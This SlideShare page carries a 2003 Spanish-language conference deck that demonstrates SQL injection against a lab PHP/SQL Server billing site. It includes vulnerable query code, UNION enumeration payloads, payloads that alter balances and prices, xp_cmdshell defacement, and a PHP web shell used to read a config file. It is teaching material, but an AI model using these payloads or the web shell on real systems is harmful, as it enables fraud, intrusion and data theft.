SlideShare a Scribd company logo
1 of 25
FIST Conference October 2003 @




SQL Injection
   © Rafael San Miguel Carrasco
SQL Injection

                  Escenario:

                    Windows 2000 Professional

                    Apache Win32 1.3.28

                    PHP 4.3.3

                    SQL Server 2000

                    Documentos HTML y scripts PHP




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   2
SQL Injection

                  Operadora de móviles, servicios online:


                    consulta de saldo

                    contratación de teleservicios



                  A través de un identificador secreto asignado a
                  cada cliente, que se utiliza para consultar
                  información y como medio de pago.




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   3
SQL Injection
                   Estructura tabla “clientes”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   4
SQL Injection

                    Estructura tabla “servicios”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   5
SQL Injection

                  Página principal:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   6
SQL Injection
                   Consulta de saldo legítima:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   7
SQL Injection

                  Contratación de un servicio:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   8
SQL Injection

                  consultasaldo.php:

                  $query = "SELECT nombre, apellidos, saldo FROM clientes
                  WHERE id='$idcliente';";
                  $result = mssql_query ($query);
                  $nfilas = mssql_num_rows ($result);

                  while ($row = mssql_fetch_array ($result) ) {
                       echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>";
                       echo "Saldo actual: <b>" . $row[2] . "</b>";
                  }




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  9
SQL Injection

                  contratar.php:
                 $query = "SELECT * FROM servicios WHERE id='$idservicio';";
                 $result = mssql_query ($query);
                 $row = mssql_fetch_array ($result);
                 $precio = $row [3];

                 echo "El precio del servicio que desea contratar es de <b>$precio</b>
                 euros<br>";
                 $saldo_final = $saldo_actual - $precio;

                 $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';";
                 mssql_query ($query);
                 $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id=
                 '$idcliente';";
                 mssql_query ($query);

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  10
SQL Injection

                  Mapear la base de datos:


                    tablas que componen la base de datos

                    listado y tipo de las columnas de cada tabla




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com     11
SQL Injection
                          5' AND 1=0 union select TABLE_NAME from
                          INFORMATION_SCHEMA.TABLES—



                       Warning: mssql_query(): message: Todas las consultas
                       de una instruccion SQL que contenga un operador
                       UNION deben tener el mismo numero de expresiones
                       en sus listas de destino. (severity 16) in
                       c:apachehtdocsconsultasaldo.php on line 21


                            5‘ AND 1=0 union select TABLE_NAME," ",1 from

                            INFORMATION_SCHEMA.TABLES--


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                   12
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   13
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from
                  INFORMATION_SCHEMA.COLUMNS




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       14
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from
                  syscolumns, INFORMATION_SCHEMA.COLUMNS—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       15
SQL Injection

                  5‘ AND 1=0; update clientes set saldo=500000 where id=5555--




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              16
SQL Injection




                    5556'; update servicios set precio=1 where nombre_servicio=
                    "llamada en espera"—


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              17
SQL Injection
                 Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'.
                 (severity 15) in c:apachehtdocscontratar.php on line 22

                 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de
                 caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                     18
SQL Injection

                  5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img
                  src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked
                  </body></html>" > c:apachehtdocsdeface.htm'—


                  5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm
                  c:apachehtdocsprincipal.htm’—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com             19
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   20
SQL Injection

                       shell.php:

                              <html>
                              <body><?php
                              $comando = $_GET["comando"];
                              echo "$comando<br>";
                              $resultado = system ($comando);
                              echo $resultado;
                              ?>
                              </body>
                              </html>

                        O también: passthru ()

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       21
SQL Injection

                  5556'; exec master..xp_cmdshell 'echo "<html><body>
                  <?php $comando=$_GET["comando"];echo $comando;
                  $resultado = system ($comando);echo $resultado;?>
                  </body></html>" > c:apachehtdocsshell.php'--




                    http://127.0.0.1/shell.php?comando=dir..




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com      22
SQL Injection
                     http://127.0.0.1/shell.php?comando=type c:odbc.conf




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com         23
SQL Injection

                 En php.ini:


                              ; Magic quotes for incoming
                              ; GET/POST/Cookie data.
                              magic_quotes_gpc = On / Off


                  Sin embargo, con campos numéricos esta
                  protección es inútil



© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   24
SQL Injection
FIST Conference October 2003
© Rafael San Miguel Carrasco
Madrid, 25 October 2003

More Related Content

Viewers also liked

Sql injection
Sql injectionSql injection
Sql injection
Minoxx
 
Rsa
RsaRsa
Rsa
yaya
 
CIFRADO RSA
CIFRADO RSACIFRADO RSA
CIFRADO RSA
rul05
 
Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.
Espoch
 
Modelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porterModelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porter
marielberenice
 

Viewers also liked (20)

Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...Evaluation of DDoS attacks generated on mobile devices and their effect on th...
Evaluation of DDoS attacks generated on mobile devices and their effect on th...
 
Sql injection
Sql injectionSql injection
Sql injection
 
Rsa
RsaRsa
Rsa
 
114986362 ddos
114986362 ddos114986362 ddos
114986362 ddos
 
RSA
RSARSA
RSA
 
Seguridad sql injection
Seguridad   sql injectionSeguridad   sql injection
Seguridad sql injection
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
Viii congreso isaca 2015 grc
Viii congreso isaca 2015 grcViii congreso isaca 2015 grc
Viii congreso isaca 2015 grc
 
Comparacion entre my sql y sql server
Comparacion entre my sql y sql serverComparacion entre my sql y sql server
Comparacion entre my sql y sql server
 
Ransomware
RansomwareRansomware
Ransomware
 
CIFRADO RSA
CIFRADO RSACIFRADO RSA
CIFRADO RSA
 
Las 5 fuerzas de michael porter
Las 5 fuerzas de michael porterLas 5 fuerzas de michael porter
Las 5 fuerzas de michael porter
 
How to Take the Ransom Out of Ransomware
How to Take the Ransom Out of RansomwareHow to Take the Ransom Out of Ransomware
How to Take the Ransom Out of Ransomware
 
Achieving high-fidelity security
Achieving high-fidelity securityAchieving high-fidelity security
Achieving high-fidelity security
 
Sql server 2008
Sql server 2008Sql server 2008
Sql server 2008
 
Ransomware
RansomwareRansomware
Ransomware
 
5 fuerzas de Porter
5 fuerzas de Porter5 fuerzas de Porter
5 fuerzas de Porter
 
5 fuerzas de porter
5 fuerzas de porter5 fuerzas de porter
5 fuerzas de porter
 
Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.Diapositivas las 5 fuerzas de porter.
Diapositivas las 5 fuerzas de porter.
 
Modelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porterModelo de las 5 fuerzas de porter
Modelo de las 5 fuerzas de porter
 

Similar to Exploiting Web applications SQL Injection

Examen ISC
Examen ISCExamen ISC
Examen ISC
ivan mtz
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
cognos_uie
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datos
tickyandres
 
Exploiting Web Applications XSS
Exploiting Web Applications XSSExploiting Web Applications XSS
Exploiting Web Applications XSS
Conferencias FIST
 
Mysql Seguridad Replicacion
Mysql Seguridad ReplicacionMysql Seguridad Replicacion
Mysql Seguridad Replicacion
christian nieto
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
csaralg
 

Similar to Exploiting Web applications SQL Injection (20)

Examen ISC
Examen ISCExamen ISC
Examen ISC
 
Aplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slideAplicaciones para sistemas distribuidos slide
Aplicaciones para sistemas distribuidos slide
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
STRUTS (MVC e Java)
STRUTS (MVC e Java)STRUTS (MVC e Java)
STRUTS (MVC e Java)
 
Seguridad En Programación
Seguridad En ProgramaciónSeguridad En Programación
Seguridad En Programación
 
Sql injection
Sql injectionSql injection
Sql injection
 
PHP Y MYSQL
PHP Y MYSQLPHP Y MYSQL
PHP Y MYSQL
 
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
 
Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01Taller Manejo De Tablas Sql01
Taller Manejo De Tablas Sql01
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datos
 
Exploiting Web Applications XSS
Exploiting Web Applications XSSExploiting Web Applications XSS
Exploiting Web Applications XSS
 
Mysql Seguridad Replicacion
Mysql Seguridad ReplicacionMysql Seguridad Replicacion
Mysql Seguridad Replicacion
 
Practica 8
Practica 8Practica 8
Practica 8
 
Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmp
 
bdlink vistas materializadas
bdlink vistas materializadasbdlink vistas materializadas
bdlink vistas materializadas
 
Pl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sqlPl 08-aplicacion-en-php-my sql
Pl 08-aplicacion-en-php-my sql
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 

More from Conferencias FIST

Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open Source
Conferencias FIST
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática Forense
Conferencias FIST
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFi
Conferencias FIST
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security Forum
Conferencias FIST
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes Wireless
Conferencias FIST
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la Concienciación
Conferencias FIST
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el Desarrollo
Conferencias FIST
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis Forense
Conferencias FIST
 

More from Conferencias FIST (20)

Seguridad en Open Solaris
Seguridad en Open SolarisSeguridad en Open Solaris
Seguridad en Open Solaris
 
Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open Source
 
Spanish Honeynet Project
Spanish Honeynet ProjectSpanish Honeynet Project
Spanish Honeynet Project
 
Seguridad en Windows Mobile
Seguridad en Windows MobileSeguridad en Windows Mobile
Seguridad en Windows Mobile
 
SAP Security
SAP SecuritySAP Security
SAP Security
 
Que es Seguridad
Que es SeguridadQue es Seguridad
Que es Seguridad
 
Network Access Protection
Network Access ProtectionNetwork Access Protection
Network Access Protection
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática Forense
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFi
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security Forum
 
Criptografia Cuántica
Criptografia CuánticaCriptografia Cuántica
Criptografia Cuántica
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes Wireless
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la Concienciación
 
Security Metrics
Security MetricsSecurity Metrics
Security Metrics
 
PKI Interoperability
PKI InteroperabilityPKI Interoperability
PKI Interoperability
 
Wifislax 3.1
Wifislax 3.1Wifislax 3.1
Wifislax 3.1
 
Network Forensics
Network ForensicsNetwork Forensics
Network Forensics
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el Desarrollo
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis Forense
 
Security Maturity Model
Security Maturity ModelSecurity Maturity Model
Security Maturity Model
 

Recently uploaded

Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
AnnimoUno1
 

Recently uploaded (11)

Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptxEVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
 

Exploiting Web applications SQL Injection

  • 1. FIST Conference October 2003 @ SQL Injection © Rafael San Miguel Carrasco
  • 2. SQL Injection Escenario:  Windows 2000 Professional  Apache Win32 1.3.28  PHP 4.3.3  SQL Server 2000  Documentos HTML y scripts PHP © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2
  • 3. SQL Injection Operadora de móviles, servicios online:  consulta de saldo  contratación de teleservicios A través de un identificador secreto asignado a cada cliente, que se utiliza para consultar información y como medio de pago. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 3
  • 4. SQL Injection Estructura tabla “clientes”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 4
  • 5. SQL Injection Estructura tabla “servicios”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 5
  • 6. SQL Injection Página principal: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 6
  • 7. SQL Injection Consulta de saldo legítima: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 7
  • 8. SQL Injection Contratación de un servicio: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 8
  • 9. SQL Injection consultasaldo.php: $query = "SELECT nombre, apellidos, saldo FROM clientes WHERE id='$idcliente';"; $result = mssql_query ($query); $nfilas = mssql_num_rows ($result); while ($row = mssql_fetch_array ($result) ) { echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>"; echo "Saldo actual: <b>" . $row[2] . "</b>"; } © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 9
  • 10. SQL Injection contratar.php: $query = "SELECT * FROM servicios WHERE id='$idservicio';"; $result = mssql_query ($query); $row = mssql_fetch_array ($result); $precio = $row [3]; echo "El precio del servicio que desea contratar es de <b>$precio</b> euros<br>"; $saldo_final = $saldo_actual - $precio; $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';"; mssql_query ($query); $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id= '$idcliente';"; mssql_query ($query); © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 10
  • 11. SQL Injection Mapear la base de datos:  tablas que componen la base de datos  listado y tipo de las columnas de cada tabla © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 11
  • 12. SQL Injection 5' AND 1=0 union select TABLE_NAME from INFORMATION_SCHEMA.TABLES— Warning: mssql_query(): message: Todas las consultas de una instruccion SQL que contenga un operador UNION deben tener el mismo numero de expresiones en sus listas de destino. (severity 16) in c:apachehtdocsconsultasaldo.php on line 21 5‘ AND 1=0 union select TABLE_NAME," ",1 from INFORMATION_SCHEMA.TABLES-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 12
  • 13. SQL Injection © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 13
  • 14. SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from INFORMATION_SCHEMA.COLUMNS © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 14
  • 15. SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from syscolumns, INFORMATION_SCHEMA.COLUMNS— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 15
  • 16. SQL Injection 5‘ AND 1=0; update clientes set saldo=500000 where id=5555-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 16
  • 17. SQL Injection 5556'; update servicios set precio=1 where nombre_servicio= "llamada en espera"— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 17
  • 18. SQL Injection Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'. (severity 15) in c:apachehtdocscontratar.php on line 22 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22 © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 18
  • 19. SQL Injection 5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked </body></html>" > c:apachehtdocsdeface.htm'— 5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm c:apachehtdocsprincipal.htm’— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 19
  • 20. SQL Injection © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 20
  • 21. SQL Injection shell.php: <html> <body><?php $comando = $_GET["comando"]; echo "$comando<br>"; $resultado = system ($comando); echo $resultado; ?> </body> </html> O también: passthru () © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 21
  • 22. SQL Injection 5556'; exec master..xp_cmdshell 'echo "<html><body> <?php $comando=$_GET["comando"];echo $comando; $resultado = system ($comando);echo $resultado;?> </body></html>" > c:apachehtdocsshell.php'-- http://127.0.0.1/shell.php?comando=dir.. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 22
  • 23. SQL Injection http://127.0.0.1/shell.php?comando=type c:odbc.conf © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 23
  • 24. SQL Injection En php.ini: ; Magic quotes for incoming ; GET/POST/Cookie data. magic_quotes_gpc = On / Off Sin embargo, con campos numéricos esta protección es inútil © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 24
  • 25. SQL Injection FIST Conference October 2003 © Rafael San Miguel Carrasco Madrid, 25 October 2003

Editor's Notes

  1. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  2. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  3. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  4. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  5. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  6. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  7. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  8. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  9. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  10. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  11. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  12. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  13. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  14. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  15. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  16. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  17. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  18. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  19. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  20. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  21. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  22. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  23. Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.